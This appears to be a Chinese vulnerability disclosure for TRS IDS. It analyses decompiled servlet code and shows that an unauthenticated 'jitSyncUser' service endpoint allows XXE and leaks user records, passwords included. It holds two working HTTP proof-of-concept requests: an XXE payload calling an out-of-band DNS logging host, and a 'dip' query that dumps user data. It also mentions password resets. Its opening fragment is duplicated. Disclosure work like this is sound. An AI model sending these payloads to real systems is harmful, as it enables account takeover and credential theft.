### 简要描述: TRS(ids)设计缺陷(xxe/用户信息泄露包括密码),好久没有发过漏洞了,突然上来看了看,发现漏洞提交页面都变了 ### 详细说明: 首先我们看看web.xml配置文件: ``` <servlet> <servlet-name>ServiceServlet</servlet-name> <servlet-class>com.trs.idm.admin.service.ServiceServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>ServiceServlet</servlet-name> <url-pattern>/service</url-pattern> </servlet-mapping> ``` 跟进ServiceServlet ``` protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { if("GET".equalsIgnoreCase(request.getMethod()) && StringHelper.isEmpty(request.getQueryString())) { String responMsg = "It works!"; if(serviceHandlerManager == null) responMsg = "It didn't work!"; response.getWriter().print(responMsg); response.getWriter().flush(); return; } String hanlderType = RequestUtil.getParameterAndTrim(request, "idsServiceType"); LOG.debug((new StringBuilder("hanlder type in request is: ")).append(hanlderType).toString()); if(serviceHandlerManager == null) {...
### 简要描述: TRS(ids)设计缺陷(xxe/用户信息泄露包括密码),好久没有发过漏洞了,突然上来看了看,发现漏洞提交页面都变了 ### 详细说明: 首先我们看看web.xml配置文件: ``` <servlet> <servlet-name>ServiceServlet</servlet-name> <servlet-class>com.trs.idm.admin.service.ServiceServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>ServiceServlet</servlet-name> <url-pattern>/service</url-pattern> </servlet-mapping> ``` 跟进ServiceServlet ``` protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { if("GET".equalsIgnoreCase(request.getMethod()) && StringHelper.isEmpty(request.getQueryString())) { String responMsg = "It works!"; if(serviceHandlerManager == null) responMsg = "It didn't work!"; response.getWriter().print(responMsg); response.getWriter().flush(); return; } String hanlderType = RequestUtil.getParameterAndTrim(request, "idsServiceType"); LOG.debug((new StringBuilder("hanlder type in request is: ")).append(hanlderType).toString()); if(serviceHandlerManager == null) { LOG.warn((new StringBuilder("serviceHandlerManager is null! ")).append(idmServer.getStartError()).toString()); if("remoteapi".equals(hanlderType)) { response.setContentType("text/xml;charset=utf-8"); setResponseType(request, response); String responseMsg = ProcessorHelper.getErrorResponseAsXML(-2, idmServer.getStartError().toString(), com/trs/idm/admin/service/ServiceServlet.getName(), null); sendResponse(response, responseMsg); } return; } IServiceHandler serviceHandler = serviceHandlerManager.getServiceHanlder(hanlderType); if(serviceHandler == null) { LOG.warn((new StringBuilder("can not find hanlder by type: ")).append(hanlderType).toString()); return; } else { serviceHandler.service(request, response); return; } } ``` 通过get方式获取一个服务的名称idsServiceType=xxxxx 然后这里去查询IServiceHandler serviceHandler = serviceHandlerManager.getServiceHanlder(hanlderType);服务存在否 ``` public IServiceHandler getServiceHanlder(String serviceHanlderName) { return (IServiceHandler)ServiceHanldersMap.get(serviceHanlderName); } public Map getAllServiceHanlders() { return ServiceHanldersMap; } public void start(IDSContext idsCtx) throws IdMException { IServiceHandler ssoAPIServiceHandler = new SSOAPIServiceHanlder(idsCtx); ssoAPIServiceHandler.start(); IServiceHandler coAppStatusMonitorServiceHanlder = new CoAppStatusMonitorServiceHanlder(idsCtx); coAppStatusMonitorServiceHanlder.start(); IServiceHandler v5httpHandler = new HTTPAPIAdaptorHandler(idsCtx); v5httpHandler.start(); IServiceHandler v5httpssoHandler = new HTTPSSOAPIHandler(idsCtx); v5httpssoHandler.start(); IServiceHandler realNameAuthServiceHandler = new RealNameAuthenticationServiceHandlerV2(idsCtx); realNameAuthServiceHandler.start(); IServiceHandler sinaWeiboLoginHandler = new SinaWeiboLoginServiceHandler(idsCtx); sinaWeiboLoginHandler.start(); IServiceHandler renrenLoginHandler = new RenRenLoginServiceHandler(idsCtx); renrenLoginHandler.start(); IServiceHandler qqLoginHandler = new QQLoginServiceHandler(idsCtx); qqLoginHandler.start(); IServiceHandler kaixinLoginHandler = new KaiXinLoginServiceHandler(idsCtx); kaixinLoginHandler.start(); IServiceHandler doubanLoginHandler = new DoubanLoginServiceHandler(idsCtx); doubanLoginHandler.start(); IServiceHandler openAuthLoginHandler = new OpenAuthLoginServiceHandler(idsCtx); openAuthLoginHandler.start(); IServiceHandler idsServerStatusMonitorServiceHanlder = new IdsServerStatusMonitorServiceHanlder(idsCtx); idsServerStatusMonitorServiceHanlder.start(); IServiceHandler federatedAuthHandler = new FederatedAuthHandler(idsCtx); federatedAuthHandler.start(); IServiceHandler jitSyncUser = new JitSynchUserServiceHandler(idsCtx); ServiceHanldersMap = new HashMap(); ServiceHanldersMap.put("remoteapi", v5httpHandler); ServiceHanldersMap.put("httpssoservice", v5httpssoHandler); ServiceHanldersMap.put("ssoapi", ssoAPIServiceHandler); ServiceHanldersMap.put("coAppStatusMonitor", coAppStatusMonitorServiceHanlder); ServiceHanldersMap.put("realNameAuthentication", realNameAuthServiceHandler); ServiceHanldersMap.put("idsStatusMonitor", idsServerStatusMonitorServiceHanlder); ServiceHanldersMap.put("jitSyncUser", jitSyncUser); ServiceHanldersMap.put("openAuthLogin", openAuthLoginHandler); ServiceHanldersMap.put("sinaWeiboLogin", sinaWeiboLoginHandler); ServiceHanldersMap.put("renrenLogin", renrenLoginHandler); ServiceHanldersMap.put("qqLogin", qqLoginHandler); ServiceHanldersMap.put("kaixinLogin", kaixinLoginHandler); ServiceHanldersMap.put("doubanLogin", doubanLoginHandler); ServiceHanldersMap.put("federatedAuth", federatedAuthHandler); ServiceHanldersMap.put("mockBabyTreeServer", new MockBabyTreeAppServer(idsCtx)); LOG.info("MemoryServiceHanlderManager start"); } ``` 发现了 存在这么多服务,我们最主要的看jitSyncUser 这个服务 跟进到JitSynchUserServiceHandler ``` public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding("UTF-8"); response.setContentType("text/html; charset=UTF-8"); response.setHeader("Pragma", "no-cache"); response.setHeader("Cache-Control", "no-store"); response.setDateHeader("Expires", -1L); InputStream in = request.getInputStream(); byte buf[] = new byte[2048]; in.read(buf); in.close(); String xml = (new String(buf, "UTF-8")).trim(); if(xml == null || xml.equals("")) { error(response, "XML\u6587\u6863\u4E3A\u7A7A"); return; } try { Document doc = DocumentHelper.parseText(xml); Element root = doc.getRootElement(); synchUser(response, root, xml); } catch(DocumentException e) { error(response, "XML\u6587\u6863\u9519\u8BEF"); } catch(Exception e) { error(response, "XML\u6587\u6863\u9519\u8BEF"); } } ``` 这里直接通过流读取一个xml,然后交给synchUser方法处理 ``` private void synchUser(HttpServletResponse response, Element element, String xml) throws IOException, IdMException { User user = getBean(element); String action = getAction(element); String status = ""; if("app".equalsIgnoreCase(action)) userManager.addUser(user, ""); else if("mod".equalsIgnoreCase(action)) userManager.updateUser(user); else if("active".equalsIgnoreCase(action)) { user.setActived(true); userService.noticeEnableOrDisableUser(true, user); } else if("unactive".equalsIgnoreCase(action)) { user.setActived(false); userService.noticeEnableOrDisableUser(false, user); } else if("del".equalsIgnoreCase(action)) userManager.removeUser(user); else if("dip".equalsIgnoreCase(action)) { User newUser = userManager.findByName(user.getUserName(), "ids_internal"); if(newUser != null) { String encode = buildReturnXml(newUser); response.getWriter().print(encode); return; } } else if("check".equalsIgnoreCase(action)) { String userExist = userManager.isUserExist(user.getUserName(), "", true); status = userExist; } else if("check-up".equalsIgnoreCase(action)) { status = checkUserInfo(user); } else { error(response, "\u8BF7\u6C42\u7684\u65B9\u6CD5\u65E0\u6548"); return; } StringBuffer sb = new StringBuffer("<?xml version='1.0' encoding='UTF-8' ?><Inter-Xinhua Version='1.0'>"); if("check".equals(action)) { if(status.equals("true") || status.equals("false")) sb.append(String.format("<Error>false</Error><Exist>%s</Exist>", new Object[] { status })); else sb.append(String.format("<Error>true</Error><ErrorMessage>%s</ErrorMessage>", new Object[] { status })); } else if(status.equals("")) sb.append("<Error>false</Error>"); else sb.append(String.format("<Error>true</Error><ErrorMessage>%s</ErrorMessage>", new Object[] { status })); sb.append("</Inter-Xinhua>"); response.getWriter().print(sb.toString()); } ``` 那么看看第一个漏洞点: ``` try { Document doc = DocumentHelper.parseText(xml); Element root = doc.getRootElement(); synchUser(response, root, xml); } ``` 这里直接对xml进行了解析,所以存在xxe漏洞,为了测试,我们cloudeye 演示一下 ``` POST /ids/service?idsServiceType=jitSyncUser HTTP/1.1 Host: **.**.**.** User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: trsidsssosessionid=2382B8AE9E8FB5B441212CE2595F963E**.**.**.** X-Forwarded-For: **.**.**.** Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------1988224119974 Content-Length: 196 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://mm1111.88d400.dnslog.info" >]><methodcall><methodname>&xxe;</methodname></methodcall> ``` [<img src="https://images.seebug.org/upload/201603/241025245f3ae8a58f15d4e940fcc373c979358d.gif" alt="trs1.gif" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/241025245f3ae8a58f15d4e940fcc373c979358d.gif) 下面的synchUser,因为接口是统一有问题的,所以这里就举其中一个信息泄露例子吧 ``` POST /ids/service?idsServiceType=jitSyncUser HTTP/1.1 Host: **.**.**.** User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: trsidsssosessionid=2382B8AE9E8FB5B441212CE2595F963E**.**.**.** X-Forwarded-For: **.**.**.** Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------1988224119974 Content-Length: 381 <?xml version="1.0" encoding="UTF-8"?><UserInfo><Method>dip</Method><AppId>dbg</AppId><ID>test</ID><Password>xxxxx</Password><CPassword>xxxxx</CPassword><Name>xxxxxx</Name><Domain></Domain><TEL>02965474561</TEL><PostCode>710000</PostCode><Mobile>15802991645</Mobile><Address>test123</Address><E-mail>test123@**.**.**.**</E-mail><UserType>dbg</UserType><ES></ES><DES></DES></UserInfo> ``` [<img src="https://images.seebug.org/upload/201603/24102712577de38796f9f2a9b1d8c55bb6360e5c.gif" alt="trs2.gif" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201603/24102712577de38796f9f2a9b1d8c55bb6360e5c.gif) 其他的 比如任意用户密码修改,用户激活等等这里就不举例子了 案例: **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** **.**.**.** ### 漏洞证明: